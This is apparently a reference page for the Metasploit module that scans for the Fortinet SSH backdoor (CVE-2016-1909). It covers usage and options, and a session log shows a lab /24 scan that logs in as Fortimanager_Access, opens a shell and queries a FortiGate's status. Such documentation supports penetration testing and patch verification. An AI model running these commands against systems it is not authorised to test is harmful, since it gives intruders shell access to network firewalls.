Fortinet SSH Backdoor Scanner - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/ssh/fortinet_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Fortinet SSH Backdoor Scanner
Module: auxiliary/scanner/ssh/fortinet_backdoor
Source code: modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
Disclosure date: 2016-01-09
Last modification time: 2022-04-14 17:27:19 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2016-1909

This module scans for the Fortinet SSH backdoor.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ssh/fortinet_backdoor
msf auxiliary(fortinet_backdoor) > show options
    ... show and set options ...
msf auxiliary(fortinet_backdoor) > set RHOSTS ip-range
msf auxiliary(fortinet_backdoor) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(fortinet_backdoor) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(fortinet_backdoor) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(fortinet_backdoor) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

msf5 > use auxiliary/scanner/ssh/fortinet_backdoor
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24
rhosts => 192.168.212.0/24
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100
threads => 100
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run

[*] Scanned  54 of 256 hosts (21% complete)
[+] 192.168.212.128:22 - Logged in as Fortimanager_Access
[*] Scanned  65 of 256 hosts (25% complete)
[*] Scanned  78 of 256 hosts (30% complete)
[*] Command shell session 1 opened (192.168.212.1:40605 -> 192.168.212.128:22) at 2018-02-21 21:35:11 -0600
[*] Scanned 104 of 256 hosts (40% complete)
[*] Scanned 141 of 256 hosts (55% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 240 of 256 hosts (93% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1
[*] Starting interaction with 1...

FortiGate-VM # get system status
Version: FortiGate-VM v5.0,build0228,130809 (GA Patch 4)
Virus-DB: 16.00560(2012-10-19 08:31)
Extended DB: 1.00000(2012-10-17 15:46)
Extreme DB: 1.00000(2012-10-17 15:47)
IPS-DB: 4.00345(2013-05-23 00:39)
IPS-ETDB: 0.00000(2000-00-00 00:00)
Serial-Number: FGVM00UNLICENSED
Botnet DB: 1.00000(2012-05-28 22:51)
License Status: Evaluation license expired
Evaluation License Expires: Thu Jan 28 13:05:41 2016
BIOS version: 04000002
Log hard disk: Need format
Hostname: FortiGate-VM
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 10
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 228
Release Version Information: GA Patch 4
System time: Wed Feb 21 13:13:43 2018

FortiGate-VM #

Go back to menu.

Msfconsole Usage

Here is how the scanner/ssh/fortinet_backdoor auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ssh/fortinet_backdoor

msf6 auxiliary(scanner/ssh/fortinet_backdoor) > show info

       Name: Fortinet SSH Backdoor Scanner
     Module: auxiliary/scanner/ssh/fortinet_backdoor
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-01-09

Provided by:
  operator8203 <[email protected]>
  wvu <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    22               yes       The target port
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module scans for the Fortinet SSH backdoor.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-1909
  https://www.exploit-db.com/exploits/39224
  https://packetstormsecurity.com/files/135225
  https://seclists.org/fulldisclosure/2016/Jan/26
  https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios

Module Options

This is a complete list of options available in the scanner/ssh/fortinet_backdoor auxiliary module:

msf6 auxiliary(scanner/ssh/fortinet_backdoor) > show options

Module options (auxiliary/scanner/ssh/fortinet_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    22               yes       The target port
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/ssh/fortinet_backdoor auxiliary module:

msf6 auxiliary(scanner/ssh/fortinet_backdoor) > show advanced

Module advanced options (auxiliary/scanner/ssh/fortinet_backdoor):

   Name                        Current Setting                          Required  Description
   ----                        ---------------                          --------  -----------
   AutoRunScript                                                        no        A script to run automatically on session creation.
   AutoVerifySession           true                                     yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                                           no        A command to run before the session is closed
   CreateSession               true                                     no        Create a new session for every successful login
   InitialAutoRunScript                                                 no        An initial script to run on session creation (before AutoRunScript)
   SSH_DEBUG                   false                                    no        SSH debugging
   SSH_IDENT                   SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT                 10                                       no        SSH timeout
   ShowProgress                true                                     yes       Display progress messages during a scan
   ShowProgressPercent         10                                       yes       The interval in percent that progress should be shown
   VERBOSE                     false                                    no        Enable detailed status messages
   WORKSPACE                                                            no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/ssh/fortinet_backdoor module can do:

msf6 auxiliary(scanner/ssh/fortinet_backdoor) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/ssh/fortinet_backdoor auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ssh/fortinet_backdoor) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Related Pull Requests

• #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
• #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
• #10649 Merged Pull Request: Fix http://seclists.org links to https://
• #10593 Merged Pull Request: Refactor SSH mixins and update modules
• #10456 Merged Pull Request: Remove SSH scanner using known_hosts
• #9602 Merged Pull Request: Create sessions with the Fortinet SSH backdoor scanner
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #7018 Merged Pull Request: Un-Vendor the net-ssh library
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #6612 Merged Pull Request: Add Fortinet backdoor

References

• CVE-2016-1909
• EDB-39224
• PACKETSTORM-135225
• https://seclists.org/fulldisclosure/2016/Jan/26
• https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios

See Also

Check also the following modules related to this module:

• auxiliary/scanner/http/fortinet_ssl_vpn
• auxiliary/scanner/ssh/apache_karaf_command_execution
• auxiliary/scanner/ssh/cerberus_sftp_enumusers
• auxiliary/scanner/ssh/detect_kippo
• auxiliary/scanner/ssh/eaton_xpert_backdoor
• auxiliary/scanner/ssh/juniper_backdoor
• auxiliary/scanner/ssh/karaf_login
• auxiliary/scanner/ssh/libssh_auth_bypass
• auxiliary/scanner/ssh/ssh_enum_git_keys
• auxiliary/scanner/ssh/ssh_enumusers
• auxiliary/scanner/ssh/ssh_identify_pubkeys
• auxiliary/scanner/ssh/ssh_login
• auxiliary/scanner/ssh/ssh_login_pubkey
• auxiliary/scanner/ssh/ssh_version
• exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
• auxiliary/scanner/http/dlink_user_agent_backdoor
• auxiliary/dos/windows/ssh/sysax_sshd_kexchange
• auxiliary/fuzzers/ssh/ssh_kexinit_corrupt
• auxiliary/fuzzers/ssh/ssh_version_15
• auxiliary/fuzzers/ssh/ssh_version_2
• auxiliary/fuzzers/ssh/ssh_version_corrupt
• auxiliary/scanner/backdoor/energizer_duo_detect
• exploit/windows/backdoor/energizer_duo_payload
• auxiliary/scanner/misc/sercomm_backdoor_scanner
• auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss

Authors

• operator8203 <operator8203[at]runbox.com>
• wvu

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.